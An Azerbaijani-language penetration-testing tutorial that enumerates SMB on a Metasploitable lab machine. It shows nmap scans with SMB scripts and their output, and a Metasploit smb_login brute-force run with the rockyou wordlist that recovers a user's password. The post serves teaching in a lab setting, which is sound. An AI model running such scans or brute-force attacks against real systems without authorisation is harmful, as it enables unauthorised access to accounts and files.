Salam hər vaxtınız xeyir dəyərli oxucular, bu gün İrəli səviyyə Enumeration başlığı altında SMB protokolunun ətraflı bir Enumeration yerinə yetirəcəyik.Əvvəlcə nəzəri sonra isə Metasploitable maşının köməyi ilə əməliyyatları praktiki olaraq görəcəyik.
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Fayl Mübadilə Protokolları
Server Message Block (SMB) və NetBİOS protokolları Microsoft Windows əməliyyat sistemlərinin fayl mübadiləsinin əsasını təşkil edir.Eləcədə samba protokoluda SMB protokolundan əmələ gəlir və bu iki termmin bir-birini qarşılıqlı tamamlayır.Samba protokolu sadəcə olaraq Windows ƏS deyil,həmçinin Linux əməliyyat sistemlərində faylların mübadiləsi və çap servisləri üçün istifadə olunur.
SMB (Port 445)
SMB protokolu TCP protokolu üzərində 445 portu ilə servisi həyata keçirir, SMB aktivləşdirdiyinizdə mütləq olaraq NetBİOS protokolununda (TCP 139) aktivləşdiyini görə bilərik.SMB protokolunun kəşfiyyatını yerinə yetirmək üçün aşağıdakı nüansları diqqət yetirməliyik:
- ümumi qovluqların adları
- istifadəçilərin siyahısı
- qrupların siyahısı
- cihazın daxil olduğu domain adı
- istifadəçi məlumatlarının brute force hücumu
- SMB servisinin exploit olunmuş versiyaların siyahısı
Nmap alətinin sadə skanı ilə hədəf haqqında əsas məlumatları əldə edək:
└─# nmap -T4 -sV -sC -p445 192.168.10.36
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 00:23 +04
Nmap scan report for 192.168.10.36
Host is up (0.00055s latency).
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:50:35:26 (VMware)
Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 2h00m10s, deviation: 2h49m42s, median: 10s
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: metasploitable
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: metasploitable.localdomain
|_ System time: 2025-03-30T16:23:33-04:00
Servis haqqında əsas məlumatları əldə etdikdən sonra SMB protokolu üçün nəzərdə tutulmuş bütün skriptlərdən istifadə edərək servis haqqnda ətraflı məlumat əldə edək.
└─# nmap -T4 -sV --script=smb* -p445 192.168.0.107
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-31 01:15 +04
Nmap scan report for 192.168.0.107
Host is up (0.00094s latency).
PORT STATE SERVICE VERSION
445/tcp open microsoft-ds?
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:E9:62:91 (VMware)
Host script results:
| smb-protocols:
| dialects:
| 2:0:2
| 2:1:0
| 3:0:0
| 3:0:2
|_ 3:1:1
| smb2-capabilities:
| 2:0:2:
| Distributed File System
| 2:1:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:2:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:1:1:
| Distributed File System
| Leasing
|_ Multi-credit operations
|_smb-print-text: false
|_smb-vuln-ms10-054: false
| smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
| smb2-time:
| date: 2025-03-30T21:16:03
|_ start_date: N/A
Burada servisin ms10-061 exploitinə zəifliyi olub olmamasını gələcək paylaşımda yerinə yetirəcəyik indi isə biz məlumat toplamaq mərhələsindəyik.
SMB protokolu üzərində daha ətraflı məlumat əldə etmək üçün Enum4Linux alətindən istifadə etməyi məsləhət görürəm.
enum4linux -a (ip)
SMB Brute Force
Brute Force hücumu üçün biz Metasploit alətinin smb_login modulundan istifadə edəcəyik.Bu modul Hydra alətindən daha az xəta verir və daha ətraflı skan edə bilərik.Əməliyyatlarn daha ətraflı və dəqiq nəticələrin əmələ gəlməsi üçün lazımi parametrləri daxil edirik.
msf6 auxiliary(scanner/smb/smb_login) > set blank_passwords true
blank_passwords => true
msf6 auxiliary(scanner/smb/smb_login) > set pass_file /usr/share/wordlists/rockyou.txt
pass_file => /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 192.168.0.107
rhosts => 192.168.0.107
msf6 auxiliary(scanner/smb/smb_login) > set smbuser rose
smbuser => rose
msf6 auxiliary(scanner/smb/smb_login) > set stop_on_success true
stop_on_success => true
msf6 auxiliary(scanner/smb/smb_login) > set threads 100
threads => 100
msf6 auxiliary(scanner/smb/smb_login) > set user_as_pass true
user_as_pass => true
msf6 auxiliary(scanner/smb/smb_login) > set verbose false
verbose => false
msf6 auxiliary(scanner/smb/smb_login) > run
[+] 192.168.0.107:445 - 192.168.0.107:445 - Success: '.\rose:password'
[*] 192.168.0.107:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.0.107:445 - Bruteforce completed, 1 credential was successful.
[*] 192.168.0.107:445 - You can open an SMB session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat